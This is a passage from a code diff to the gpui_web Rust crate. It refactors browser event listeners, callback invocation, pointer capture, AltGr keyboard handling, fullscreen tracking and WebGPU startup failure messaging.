     fn dispatch_input(&self, input: PlatformInput) -> Option<DispatchEventResult> {
-        let mut borrowed = self.callbacks.borrow_mut();
-        borrowed.input.as_mut().map(|callback| callback(input))
+        self.with_callback(|callbacks| &mut callbacks.input, |callback| callback(input))
+    }
+
+    /// Records the latest modifier state and reports whether it changed, so
+    /// that `ModifiersChanged` is only dispatched on actual transitions
+    /// rather than for every key event.
+    fn update_modifiers(&self, modifiers: Modifiers, capslock: Capslock) -> bool {
+        let mut current_state = self.state.borrow_mut();
+        let changed = current_state.modifiers != modifiers || current_state.capslock != capslock;
+        current_state.modifiers = modifiers;
+        current_state.capslock = capslock;
+        changed
     }
 
-    fn register_pointer_down(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_pointer_down(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen("pointerdown", move |event: JsValue| {
             let event: web_sys::PointerEvent = event.unchecked_into();
             event.prevent_default();
             this.input_element.focus().ok();
 
+            // Capture the pointer so drags that leave the canvas keep
+            // delivering pointermove/pointerup here; otherwise a release
+            // outside the canvas is never seen and `pressed_button` stays
+            // stuck. The capture is released implicitly on pointerup.
+            this.canvas.set_pointer_capture(event.pointer_id()).ok();
+
             let button = dom_mouse_button_to_gpui(event.button());
             let position = pointer_position_in_element(&event);
             let modifiers = modifiers_from_mouse_event(&event, this.is_mac);
@@ -161,7 +221,7 @@ impl WebWindowInner {
         })
     }
 
-    fn register_pointer_up(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_pointer_up(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen("pointerup", move |event: JsValue| {
             let event: web_sys::PointerEvent = event.unchecked_into();
@@ -189,7 +249,7 @@ impl WebWindowInner {
         })
     }
 
-    fn register_pointer_move(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_pointer_move(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen("pointermove", move |event: JsValue| {
             let event: web_sys::PointerEvent = event.unchecked_into();
@@ -213,7 +273,7 @@ impl WebWindowInner {
         })
     }
 
-    fn register_pointer_leave(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_pointer_leave(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen("pointerleave", move |event: JsValue| {
             let event: web_sys::PointerEvent = event.unchecked_into();
@@ -226,6 +286,7 @@ impl WebWindowInner {
                 let mut current_state = this.state.borrow_mut();
                 current_state.mouse_position = position;
                 current_state.modifiers = modifiers;
+                current_state.is_hovered = false;
             }
 
             this.dispatch_input(PlatformInput::MouseExited(MouseExitEvent {
@@ -233,10 +294,15 @@ impl WebWindowInner {
                 pressed_button: current_pressed,
                 modifiers,
             }));
+
+            this.with_callback(
+                |callbacks| &mut callbacks.hover_status_change,
+                |callback| callback(false),
+            );
         })
     }
 
-    fn register_wheel(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_wheel(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen_non_passive("wheel", move |event: JsValue| {
             let event: web_sys::WheelEvent = event.unchecked_into();
@@ -270,64 +336,34 @@ impl WebWindowInner {
         })
     }
 
-    fn register_context_menu(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_context_menu(self: &Rc<Self>) -> EventListenerHandle {
         self.listen("contextmenu", move |event: JsValue| {
             let event: web_sys::Event = event.unchecked_into();
             event.prevent_default();
         })
     }
 
-    fn register_dragover(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
-        let this = Rc::clone(self);
+    /// Browsers only expose dropped files as `File` objects, never as
+    /// filesystem paths, so no `FileDrop` input can be synthesized: GPUI's
+    /// `ExternalPaths` consumers would try to read paths that don't exist.
+    /// The events are still intercepted so the browser doesn't navigate to
+    /// the dropped file. Delivering actual file drops would require plumbing
+    /// `File` contents through a web-specific channel.
+    fn register_dragover(self: &Rc<Self>) -> EventListenerHandle {
         self.listen("dragover", move |event: JsValue| {
             let event: web_sys::DragEvent = event.unchecked_into();
             event.prevent_default();
-
-            let mouse_event: &web_sys::MouseEvent = event.as_ref();
-            let position = mouse_position_in_element(mouse_event);
-
-            {
-                let mut current_state = this.state.borrow_mut();
-                current_state.mouse_position = position;
-            }
-
-            this.dispatch_input(PlatformInput::FileDrop(FileDropEvent::Pending { position }));
         })
     }
 
-    fn register_drop(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
-        let this = Rc::clone(self);
+    fn register_drop(self: &Rc<Self>) -> EventListenerHandle {
         self.listen("drop", move |event: JsValue| {
             let event: web_sys::DragEvent = event.unchecked_into();
             event.prevent_default();
-
-            let mouse_event: &web_sys::MouseEvent = event.as_ref();
-            let position = mouse_position_in_element(mouse_event);
-
-            {
-                let mut current_state = this.state.borrow_mut();
-                current_state.mouse_position = position;
-            }
-
-            let paths = extract_file_paths_from_drag(&event);
-
-            this.dispatch_input(PlatformInput::FileDrop(FileDropEvent::Entered {
-                position,
-                paths: ExternalPaths(paths),
-            }));
-
-            this.dispatch_input(PlatformInput::FileDrop(FileDropEvent::Submit { position }));
-        })
-    }
-
-    fn register_dragleave(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
-        let this = Rc::clone(self);
-        self.listen("dragleave", move |_event: JsValue| {
-            this.dispatch_input(PlatformInput::FileDrop(FileDropEvent::Exited));
         })
     }
 
-    fn register_key_down(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_key_down(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen_input("keydown", move |event: JsValue| {
             let event: web_sys::KeyboardEvent = event.unchecked_into();
@@ -335,17 +371,13 @@ impl WebWindowInner {
             let modifiers = modifiers_from_keyboard_event(&event, this.is_mac);
             let capslock = capslock_from_keyboard_event(&event);
 
-            {
-                let mut current_state = this.state.borrow_mut();
-                current_state.modifiers = modifiers;
-                current_state.capslock = capslock;
+            if this.update_modifiers(modifiers, capslock) {
+                this.dispatch_input(PlatformInput::ModifiersChanged(ModifiersChangedEvent {
+                    modifiers,
+                    capslock,
+                }));
             }
 
-            this.dispatch_input(PlatformInput::ModifiersChanged(ModifiersChangedEvent {
-                modifiers,
-                capslock,
-            }));
-
             let key = dom_key_to_gpui_key(&event);
 
             if is_modifier_only_key(&key) {
@@ -379,22 +411,22 @@ impl WebWindowInner {
                 return;
             }
 
-            if modifiers.is_subset_of(&Modifiers::shift()) {
-                if let Some(text) = key_char {
-                    this.with_input_handler(|handler| {
-                        handler.replace_text_in_range(None, &text);
-                    });
-                    // The character went into the input handler; suppress browser
-                    // side-effects for the same keystroke (space scrolling the
-                    // page, quick-find, etc.). Everything not handled above falls
-                    // through so browser shortcuts keep their defaults.
-                    event.prevent_default();
-                }
+            if keystroke_inserts_text(&modifiers, this.is_mac)
+                && let Some(text) = key_char
+            {
+                this.with_input_handler(|handler| {
+                    handler.replace_text_in_range(None, &text);
+                });
+                // The character went into the input handler; suppress browser
+                // side-effects for the same keystroke (space scrolling the
+                // page, quick-find, etc.). Everything not handled above falls
+                // through so browser shortcuts keep their defaults.
+                event.prevent_default();
             }
         })
     }
 
-    fn register_key_up(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_key_up(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen_input("keyup", move |event: JsValue| {
             let event: web_sys::KeyboardEvent = event.unchecked_into();
@@ -402,17 +434,13 @@ impl WebWindowInner {
             let modifiers = modifiers_from_keyboard_event(&event, this.is_mac);
             let capslock = capslock_from_keyboard_event(&event);
 
-            {
-                let mut current_state = this.state.borrow_mut();
-                current_state.modifiers = modifiers;
-                current_state.capslock = capslock;
+            if this.update_modifiers(modifiers, capslock) {
+                this.dispatch_input(PlatformInput::ModifiersChanged(ModifiersChangedEvent {
+                    modifiers,
+                    capslock,
+                }));
             }
 
-            this.dispatch_input(PlatformInput::ModifiersChanged(ModifiersChangedEvent {
-                modifiers,
-                capslock,
-            }));
-
             let key = dom_key_to_gpui_key(&event);
 
             if is_modifier_only_key(&key) {
@@ -441,7 +469,7 @@ impl WebWindowInner {
     /// read API cannot fit that synchronous signature, while `ClipboardEvent`
     /// exposes `clipboardData` synchronously inside the event. It fires for
     /// any browser-initiated paste (keyboard, menu bar, context menu).
-    fn register_paste(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_paste(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen_input("paste", move |event: JsValue| {
             let event: web_sys::ClipboardEvent = event.unchecked_into();
@@ -462,14 +490,14 @@ impl WebWindowInner {
         })
     }
 
-    fn register_composition_start(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_composition_start(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen_input("compositionstart", move |_event: JsValue| {
             this.is_composing.set(true);
         })
     }
 
-    fn register_composition_update(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_composition_update(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen_input("compositionupdate", move |event: JsValue| {
             let event: web_sys::CompositionEvent = event.unchecked_into();
@@ -481,7 +509,7 @@ impl WebWindowInner {
         })
     }
 
-    fn register_composition_end(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_composition_end(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen_input("compositionend", move |event: JsValue| {
             let event: web_sys::CompositionEvent = event.unchecked_into();
@@ -495,59 +523,45 @@ impl WebWindowInner {
         })
     }
 
-    fn register_focus(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_focus(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen_input("focus", move |_event: JsValue| {
             {
                 let mut state = this.state.borrow_mut();
                 state.is_active = true;
             }
-            let mut callbacks = this.callbacks.borrow_mut();
-            if let Some(ref mut callback) = callbacks.active_status_change {
-                callback(true);
-            }
+            this.with_callback(
+                |callbacks| &mut callbacks.active_status_change,
+                |callback| callback(true),
+            );
         })
     }
 
-    fn register_blur(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_blur(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen_input("blur", move |_event: JsValue| {
             {
                 let mut state = this.state.borrow_mut();
                 state.is_active = false;
             }
-            let mut callbacks = this.callbacks.borrow_mut();
-            if let Some(ref mut callback) = callbacks.active_status_change {
-                callback(false);
-            }
+            this.with_callback(
+                |callbacks| &mut callbacks.active_status_change,
+                |callback| callback(false),
+            );
         })
     }
 
-    fn register_pointer_enter(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+    fn register_pointer_enter(self: &Rc<Self>) -> EventListenerHandle {
         let this = Rc::clone(self);
         self.listen("pointerenter", move |_event: JsValue| {
             {
                 let mut state = this.state.borrow_mut();
                 state.is_hovered = true;
             }
-            let mut callbacks = this.callbacks.borrow_mut();
-            if let Some(ref mut callback) = callbacks.hover_status_change {
-                callback(true);
-            }
-        })
-    }
-
-    fn register_pointer_leave_hover(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
-        let this = Rc::clone(self);
-        self.listen("pointerleave", move |_event: JsValue| {
-            {
-                let mut state = this.state.borrow_mut();
-                state.is_hovered = false;
-            }
-            let mut callbacks = this.callbacks.borrow_mut();
-            if let Some(ref mut callback) = callbacks.hover_status_change {
-                callback(false);
-            }
+            this.with_callback(
+                |callbacks| &mut callbacks.hover_status_change,
+                |callback| callback(true),
+            );
         })
     }
 }
@@ -661,12 +675,28 @@ fn is_modifier_only_key(key: &str) -> bool {
     )
 }
 
+/// Whether a keystroke with these modifiers produces text to insert.
+///
+/// On macOS, Option participates in text entry (e.g. option-n composes "~"
+/// or accented characters), so only Command and Control disqualify. Elsewhere,
+/// plain Alt is a shortcut modifier, but AltGr is reported by browsers as
+/// control+alt and `event.key()` then carries the composed character.
+fn keystroke_inserts_text(modifiers: &Modifiers, is_mac: bool) -> bool {
+    if is_mac {
+        !modifiers.platform && !modifiers.control
+    } else {
+        modifiers.is_subset_of(&Modifiers::shift()) || (modifiers.control && modifiers.alt)
+    }
+}
+
 fn compute_key_char(
     event: &web_sys::KeyboardEvent,
     gpui_key: &str,
     modifiers: &Modifiers,
 ) -> Option<String> {
-    if modifiers.platform || modifiers.control {
+    // AltGr arrives as control+alt with the composed character in
+    // `event.key()`; bare Command/Control combinations are not text.
+    if (modifiers.platform || modifiers.control) && !(modifiers.control && modifiers.alt) {
         return None;
     }
 
@@ -696,22 +726,3 @@ fn mouse_position_in_element(event: &web_sys::MouseEvent) -> Point<Pixels> {
     // offset_x/offset_y give position relative to the target element's padding edge
     point(px(event.offset_x() as f32), px(event.offset_y() as f32))
 }
-
-fn extract_file_paths_from_drag(
-    event: &web_sys::DragEvent,
-) -> smallvec::SmallVec<[std::path::PathBuf; 2]> {
-    let mut paths = smallvec![];
-    let Some(data_transfer) = event.data_transfer() else {
-        return paths;
-    };
-    let file_list = data_transfer.files();
-    let Some(files) = file_list else {
-        return paths;
-    };
-    for index in 0..files.length() {
-        if let Some(file) = files.get(index) {
-            paths.push(std::path::PathBuf::from(file.name()));
-        }
-    }
-    paths
-}
diff --git a/crates/gpui_web/src/http_client.rs b/crates/gpui_web/src/http_client.rs
index 2ea7a388d6b390..f48746d088c062 100644
--- a/crates/gpui_web/src/http_client.rs
+++ b/crates/gpui_web/src/http_client.rs
@@ -30,16 +30,16 @@ pub enum FetchCredentials {
     Include,
 }
 
-impl Default for FetchHttpClient {
-    fn default() -> Self {
+impl FetchHttpClient {
+    // Kept private so that all construction goes through the constructors
+    // below, which are `unsafe` when background threads are enabled.
+    fn build(user_agent: Option<http_client::http::header::HeaderValue>) -> Self {
         Self {
-            user_agent: None,
+            user_agent,
             credentials: FetchCredentials::default(),
         }
     }
-}
 
-impl FetchHttpClient {
     pub fn with_credentials(mut self, credentials: FetchCredentials) -> Self {
         self.credentials = credentials;
         self
@@ -50,46 +50,46 @@ impl FetchHttpClient {
 impl FetchHttpClient {
     /// # Safety
     ///
-    /// The caller must ensure that the created `FetchHttpClient` is only used in a single thread environment.
+    /// The caller must ensure the client is only used from the main thread:
+    /// the futures returned by [`HttpClient::send`] call browser APIs that do
+    /// not exist on worker threads, so they must never be polled from a task
+    /// spawned on the background executor.
     pub unsafe fn new() -> Self {
-        Self::default()
+        Self::build(None)
     }
 
     /// # Safety
     ///
-    /// The caller must ensure that the created `FetchHttpClient` is only used in a single thread environment.
+    /// The caller must ensure the client is only used from the main thread:
+    /// the futures returned by [`HttpClient::send`] call browser APIs that do
+    /// not exist on worker threads, so they must never be polled from a task
+    /// spawned on the background executor.
     pub unsafe fn with_user_agent(user_agent: &str) -> anyhow::Result<Self> {
-        Ok(Self {
-            user_agent: Some(http_client::http::header::HeaderValue::from_str(
-                user_agent,
-            )?),
-            credentials: FetchCredentials::default(),
-        })
+        Ok(Self::build(Some(
+            http_client::http::header::HeaderValue::from_str(user_agent)?,
+        )))
     }
 }
 
 #[cfg(not(feature = "multithreaded"))]
 impl FetchHttpClient {
     pub fn new() -> Self {
-        Self::default()
+        Self::build(None)
     }
 
     pub fn with_user_agent(user_agent: &str) -> anyhow::Result<Self> {
-        Ok(Self {
-            user_agent: Some(http_client::http::header::HeaderValue::from_str(
-                user_agent,
-            )?),
-            credentials: FetchCredentials::default(),
-        })
+        Ok(Self::build(Some(
+            http_client::http::header::HeaderValue::from_str(user_agent)?,
+        )))
     }
 }
 
 /// Wraps a `!Send` future to satisfy the `Send` bound on `BoxFuture`.
 ///
-/// Safety: only valid in WASM contexts where the `FetchHttpClient` is
-/// confined to a single thread (guaranteed by the caller via unsafe
-/// constructors when `multithreaded` is enabled, or by the absence of
-/// threads when it is not).
+/// Safety: only valid because the `FetchHttpClient` constructors confine the
+/// client to the main thread (via their `unsafe` contract when
+/// `multithreaded` is enabled, or by the absence of threads when it is not),
+/// so the wrapped future is never actually sent across threads.
 struct AssertSend<F>(F);
 
 unsafe impl<F> Send for AssertSend<F> {}
diff --git a/crates/gpui_web/src/keyboard.rs b/crates/gpui_web/src/keyboard.rs
index 0ab4f7aa4aca69..51ed113c8c42fc 100644
--- a/crates/gpui_web/src/keyboard.rs
+++ b/crates/gpui_web/src/keyboard.rs
@@ -2,12 +2,6 @@ use gpui::PlatformKeyboardLayout;
 
 pub struct WebKeyboardLayout;
 
-impl WebKeyboardLayout {
-    pub fn new() -> Self {
-        WebKeyboardLayout
-    }
-}
-
 impl PlatformKeyboardLayout for WebKeyboardLayout {
     fn id(&self) -> &str {
         "us"
diff --git a/crates/gpui_web/src/logging.rs b/crates/gpui_web/src/logging.rs
index 773118eeb2513f..09aaab08d51108 100644
--- a/crates/gpui_web/src/logging.rs
+++ b/crates/gpui_web/src/logging.rs
@@ -32,6 +32,14 @@ impl Log for ConsoleLogger {
 }
 
 pub fn init_logging() {
+    // Without this hook, panics abort with an opaque "unreachable executed"
+    // in the browser console instead of a message and backtrace.
+    console_error_panic_hook::set_once();
+
     log::set_logger(&ConsoleLogger).ok();
-    log::set_max_level(log::LevelFilter::Info);
+    log::set_max_level(if cfg!(debug_assertions) {
+        log::LevelFilter::Debug
+    } else {
+        log::LevelFilter::Info
+    });
 }
diff --git a/crates/gpui_web/src/platform.rs b/crates/gpui_web/src/platform.rs
index f70520d629d59e..bec68aaf6f04b9 100644
--- a/crates/gpui_web/src/platform.rs
+++ b/crates/gpui_web/src/platform.rs
@@ -1,5 +1,6 @@
 use crate::dispatcher::WebDispatcher;
 use crate::display::WebDisplay;
+use crate::events::EventListenerHandle;
 use crate::keyboard::WebKeyboardLayout;
 use crate::window::WebWindow;
 use anyhow::Result;
@@ -120,6 +121,7 @@ impl Platform for WebPlatform {
 
     fn run(&self, on_finish_launching: Box<dyn 'static + FnOnce()>) {
         let wgpu_context = self.wgpu_context.clone();
+        let browser_window = self.browser_window.clone();
         wasm_bindgen_futures::spawn_local(async move {
             match WgpuContext::new_web().await {
                 Ok(context) => {
@@ -128,8 +130,11 @@ impl Platform for WebPlatform {
                     on_finish_launching();
                 }
                 Err(err) => {
+                    // Without a GPU context nothing can ever render, so
+                    // launching the app would only produce confusing
+                    // downstream errors. Leave a message in the page instead.
                     log::error!("Failed to initialize WebGPU context: {err:#}");
-                    on_finish_launching();
+                    show_webgpu_unavailable_message(&browser_window);
                 }
             }
         });
@@ -381,23 +386,6 @@ impl Platform for WebPlatform {
     }
 }
 
-struct EventListenerHandle {
-    target: web_sys::EventTarget,
-    event_name: &'static str,
-    closure: Closure<dyn FnMut(JsValue)>,
-}
-
-impl Drop for EventListenerHandle {
-    fn drop(&mut self) {
-        self.target
-            .remove_event_listener_with_callback(
-                self.event_name,
-                self.closure.as_ref().unchecked_ref(),
-            )
-            .ok();
-    }
-}
-
 fn cursor_restore_listeners(
     browser_window: &web_sys::Window,
     cursor_visible: Rc<Cell<bool>>,
@@ -408,26 +396,19 @@ fn cursor_restore_listeners(
         return handles;
     };
 
-    let make_restore_handler = |browser_window: web_sys::Window| {
+    let mut add_listener = |target: &web_sys::EventTarget, event_name: &'static str| {
+        let browser_window = browser_window.clone();
         let cursor_visible = cursor_visible.clone();
         let last_cursor_css = last_cursor_css.clone();
-        Closure::<dyn FnMut(JsValue)>::new(move |_event: JsValue| {
-            if !cursor_visible.replace(true) {
-                set_body_cursor(&browser_window, last_cursor_css.get());
-            }
-        })
-    };
-
-    let mut add_listener = |target: &web_sys::EventTarget, event_name: &'static str| {
-        let closure = make_restore_handler(browser_window.clone());
-        target
-            .add_event_listener_with_callback(event_name, closure.as_ref().unchecked_ref())
-            .ok();
-        handles.push(EventListenerHandle {
-            target: target.clone(),
+        handles.push(EventListenerHandle::add(
+            target,
             event_name,
-            closure,
-        });
+            move |_event: JsValue| {
+                if !cursor_visible.replace(true) {
+                    set_body_cursor(&browser_window, last_cursor_css.get());
+                }
+            },
+        ));
     };
 
     let document_target: &web_sys::EventTarget = document.as_ref();
@@ -441,6 +422,22 @@ fn cursor_restore_listeners(
     handles
 }
 
+fn show_webgpu_unavailable_message(browser_window: &web_sys::Window) {
+    let Some(document) = browser_window.document() else {
+        return;
+    };
+    let Some(body) = document.body() else {
+        return;
+    };
+    let Ok(message) = document.create_element("p") else {
+        return;
+    };
+    message.set_text_content(Some(
+        "Failed to initialize WebGPU. This application requires a browser with WebGPU support.",
+    ));
+    body.append_child(&message).ok();
+}
+
 fn set_body_cursor(browser_window: &web_sys::Window, css_cursor: &str) {
     if let Some(document) = browser_window.document()
         && let Some(body) = document.body()
diff --git a/crates/gpui_web/src/window.rs b/crates/gpui_web/src/window.rs
index b9399d32e63e0f..3dbf013a6fd655 100644
--- a/crates/gpui_web/src/window.rs
+++ b/crates/gpui_web/src/window.rs
@@ -1,5 +1,5 @@
 use crate::display::WebDisplay;
-use crate::events::{ClickState, WebEventListeners, is_mac_platform};
+use crate::events::{ClickState, EventListenerHandle, WebEventListeners, is_mac_platform};
 use std::sync::Arc;
 use std::{cell::Cell, cell::RefCell, rc::Rc};
 
@@ -57,13 +57,12 @@ pub(crate) struct WebWindowInner {
     pub(crate) is_composing: Cell<bool>,
     mql_handle: RefCell<Option<MqlHandle>>,
     pending_physical_size: Cell<Option<(u32, u32)>>,
+    raf_id: Cell<Option<i32>>,
 }
 
 pub struct WebWindow {
     inner: Rc<WebWindowInner>,
     display: Rc<dyn PlatformDisplay>,
-    #[allow(dead_code)]
-    handle: AnyWindowHandle,
     _raf_closure: Closure<dyn FnMut()>,
     _resize_observer: Option<web_sys::ResizeObserver>,
     _resize_observer_closure: Closure<dyn FnMut(js_sys::Array)>,
@@ -72,7 +71,7 @@ pub struct WebWindow {
 
 impl WebWindow {
     pub fn new(
-        handle: AnyWindowHandle,
+        _handle: AnyWindowHandle,
         _params: WindowParams,
         context: &WgpuContext,
         browser_window: web_sys::Window,
@@ -184,6 +183,7 @@ impl WebWindow {
             is_composing: Cell::new(false),
             mql_handle: RefCell::new(None),
             pending_physical_size: Cell::new(None),
+            raf_id: Cell::new(None),
         });
 
         let raf_closure = inner.create_raf_closure();
@@ -203,7 +203,6 @@ impl WebWindow {
         Ok(Self {
             inner,
             display,
-            handle,
             _raf_closure: raf_closure,
             _resize_observer: resize_observer,
             _resize_observer_closure: resize_observer_closure,
@@ -257,15 +256,16 @@ impl WebWindow {
 
             // Skip rendering to a zero-size canvas (e.g. display:none).
             if physical_width == 0 || physical_height == 0 {
-                let mut s = inner.state.borrow_mut();
-                s.bounds.size = Size::default();
-                s.scale_factor = dpr_f32;
-                // Still fire the callback so GPUI knows the window is gone.
-                drop(s);
-                let mut cbs = inner.callbacks.borrow_mut();
-                if let Some(ref mut callback) = cbs.resize {
-                    callback(Size::default(), dpr_f32);
+                {
+                    let mut s = inner.state.borrow_mut();
+                    s.bounds.size = Size::default();
+                    s.scale_factor = dpr_f32;
                 }
+                // Still fire the callback so GPUI knows the window is gone.
+                inner.with_callback(
+                    |callbacks| &mut callbacks.resize,
+                    |callback| callback(Size::default(), dpr_f32),
+                );
                 return;
             }
 
@@ -273,6 +273,20 @@ impl WebWindow {
             let clamped_width = physical_width.min(max_texture_dimension);
             let clamped_height = physical_height.min(max_texture_dimension);
 
+            // Recompute the logical size from the clamped physical size so
+            // that scale_factor still maps GPUI's logical bounds exactly onto
+            // the surface; otherwise clamping would silently distort the
+            // effective scale.
+            let (logical_width, logical_height) =
+                if (clamped_width, clamped_height) != (physical_width, physical_height) {
+                    (
+                        (clamped_width as f64 / dpr) as f32,
+                        (clamped_height as f64 / dpr) as f32,
+                    )
+                } else {
+                    (logical_width, logical_height)
+                };
+
             inner
                 .pending_physical_size
                 .set(Some((clamped_width, clamped_height)));
@@ -291,34 +305,53 @@ impl WebWindow {
                 height: px(logical_height),
             };
 
-            let mut cbs = inner.callbacks.borrow_mut();
-            if let Some(ref mut callback) = cbs.resize {
-                callback(new_size, dpr_f32);
-            }
+            inner.with_callback(
+                |callbacks| &mut callbacks.resize,
+                |callback| callback(new_size, dpr_f32),
+            );
         })
     }
 }
 
 impl WebWindowInner {
+    /// Invokes a registered callback with take/call/restore semantics.
+    ///
+    /// The callback is removed from the slot for the duration of the call, so
+    /// the `RefCell` is not borrowed while user code runs: a callback that
+    /// re-enters the platform window (dispatching input, registering
+    /// handlers) would otherwise panic with a `BorrowMutError`. A re-entrant
+    /// invocation of the same callback finds the slot empty and is a no-op.
+    pub(crate) fn with_callback<C, R>(
+        &self,
+        select: impl Fn(&mut WebWindowCallbacks) -> &mut Option<C>,
+        invoke: impl FnOnce(&mut C) -> R,
+    ) -> Option<R> {
+        let mut callback = select(&mut self.callbacks.borrow_mut()).take()?;
+        let result = invoke(&mut callback);
+        *select(&mut self.callbacks.borrow_mut()) = Some(callback);
+        Some(result)
+    }
+
     fn create_raf_closure(self: &Rc<Self>) -> Closure<dyn FnMut()> {
         let raf_handle: Rc<RefCell<Option<js_sys::Function>>> = Rc::new(RefCell::new(None));
         let raf_handle_inner = Rc::clone(&raf_handle);
 
         let this = Rc::clone(self);
         let closure = Closure::new(move || {
-            {
-                let mut callbacks = this.callbacks.borrow_mut();
-                if let Some(ref mut callback) = callbacks.request_frame {
+            this.with_callback(
+                |callbacks| &mut callbacks.request_frame,
+                |callback| {
                     callback(RequestFrameOptions {
                         require_presentation: true,
                         force_render: false,
-                    });
-                }
-            }
+                    })
+                },
+            );
 
             // Re-schedule for the next frame
             if let Some(ref func) = *raf_handle_inner.borrow() {
-                this.browser_window.request_animation_frame(func).ok();
+                this.raf_id
+                    .set(this.browser_window.request_animation_frame(func).ok());
             }
         });
 
@@ -330,9 +363,11 @@ impl WebWindowInner {
     }
 
     fn schedule_raf(&self, closure: &Closure<dyn FnMut()>) {
-        self.browser_window
-            .request_animation_frame(closure.as_ref().unchecked_ref())
-            .ok();
+        self.raf_id.set(
+            self.browser_window
+                .request_animation_frame(closure.as_ref().unchecked_ref())
+                .ok(),
+        );
     }
 
     fn observe_canvas(&self, observer: &web_sys::ResizeObserver) {
@@ -372,40 +407,57 @@ impl WebWindowInner {
         });
     }
 
-    pub(crate) fn register_visibility_change(
-        self: &Rc<Self>,
-    ) -> Option<Closure<dyn FnMut(JsValue)>> {
+    pub(crate) fn register_visibility_change(self: &Rc<Self>) -> Option<EventListenerHandle> {
         let document = self.browser_window.document()?;
         let this = Rc::clone(self);
 
-        let closure = Closure::<dyn FnMut(JsValue)>::new(move |_event: JsValue| {
-            let is_visible = this
-                .browser_window
-                .document()
-                .map(|doc| {
-                    let state_str: String = js_sys::Reflect::get(&doc, &"visibilityState".into())
-                        .ok()
-                        .and_then(|v| v.as_string())
-                        .unwrap_or_default();
-                    state_str == "visible"
-                })
-                .unwrap_or(true);
-
-            {
-                let mut state = this.state.borrow_mut();
-                state.is_active = is_visible;
-            }
-            let mut callbacks = this.callbacks.borrow_mut();
-            if let Some(ref mut callback) = callbacks.active_status_change {
-                callback(is_visible);
-            }
-        });
-
-        document
-            .add_event_listener_with_callback("visibilitychange", closure.as_ref().unchecked_ref())
-            .ok();
+        Some(EventListenerHandle::add(
+            document.as_ref(),
+            "visibilitychange",
+            move |_event: JsValue| {
+                let is_visible = this
+                    .browser_window
+                    .document()
+                    .map(|doc| {
+                        let state_str: String =
+                            js_sys::Reflect::get(&doc, &"visibilityState".into())
+                                .ok()
+                                .and_then(|v| v.as_string())
+                                .unwrap_or_default();
+                        state_str == "visible"
+                    })
+                    .unwrap_or(true);
+
+                {
+                    let mut state = this.state.borrow_mut();
+                    state.is_active = is_visible;
+                }
+                this.with_callback(
+                    |callbacks| &mut callbacks.active_status_change,
+                    |callback| callback(is_visible),
+                );
+            },
+        ))
+    }
+
+    /// Tracks `fullscreenchange` instead of toggling a local flag: the user
+    /// can exit fullscreen with Esc, and `requestFullscreen` can be rejected,
+    /// so the document is the only reliable source of truth.
+    pub(crate) fn register_fullscreen_change(self: &Rc<Self>) -> Option<EventListenerHandle> {
+        let document = self.browser_window.document()?;
+        let this = Rc::clone(self);
 
-        Some(closure)
+        Some(EventListenerHandle::add(
+            document.as_ref(),
+            "fullscreenchange",
+            move |_event: JsValue| {
+                let is_fullscreen = this
+                    .browser_window
+                    .document()
+                    .is_some_and(|document| document.fullscreen_element().is_some());
+                this.state.borrow_mut().is_fullscreen = is_fullscreen;
+            },
+        ))
     }
 
     pub(crate) fn with_input_handler<R>(
@@ -418,26 +470,51 @@ impl WebWindowInner {
         Some(result)
     }
 
-    pub(crate) fn register_appearance_change(
-        self: &Rc<Self>,
-    ) -> Option<Closure<dyn FnMut(JsValue)>> {
+    pub(crate) fn register_appearance_change(self: &Rc<Self>) -> Option<EventListenerHandle> {
         let mql = self
             .browser_window
             .match_media("(prefers-color-scheme: dark)")
             .ok()??;
 
         let this = Rc::clone(self);
-        let closure = Closure::<dyn FnMut(JsValue)>::new(move |_event: JsValue| {
-            let mut callbacks = this.callbacks.borrow_mut();
-            if let Some(ref mut callback) = callbacks.appearance_changed {
-                callback();
-            }
-        });
+        Some(EventListenerHandle::add(
+            mql.as_ref(),
+            "change",
+            move |_event: JsValue| {
+                this.with_callback(
+                    |callbacks| &mut callbacks.appearance_changed,
+                    |callback| callback(),
+                );
+            },
+        ))
+    }
+}
 
-        mql.add_event_listener_with_callback("change", closure.as_ref().unchecked_ref())
-            .ok();
+impl Drop for WebWindow {
+    fn drop(&mut self) {
+        // Cancel the pending requestAnimationFrame callback before
+        // `_raf_closure` is freed, and disconnect the resize observer before
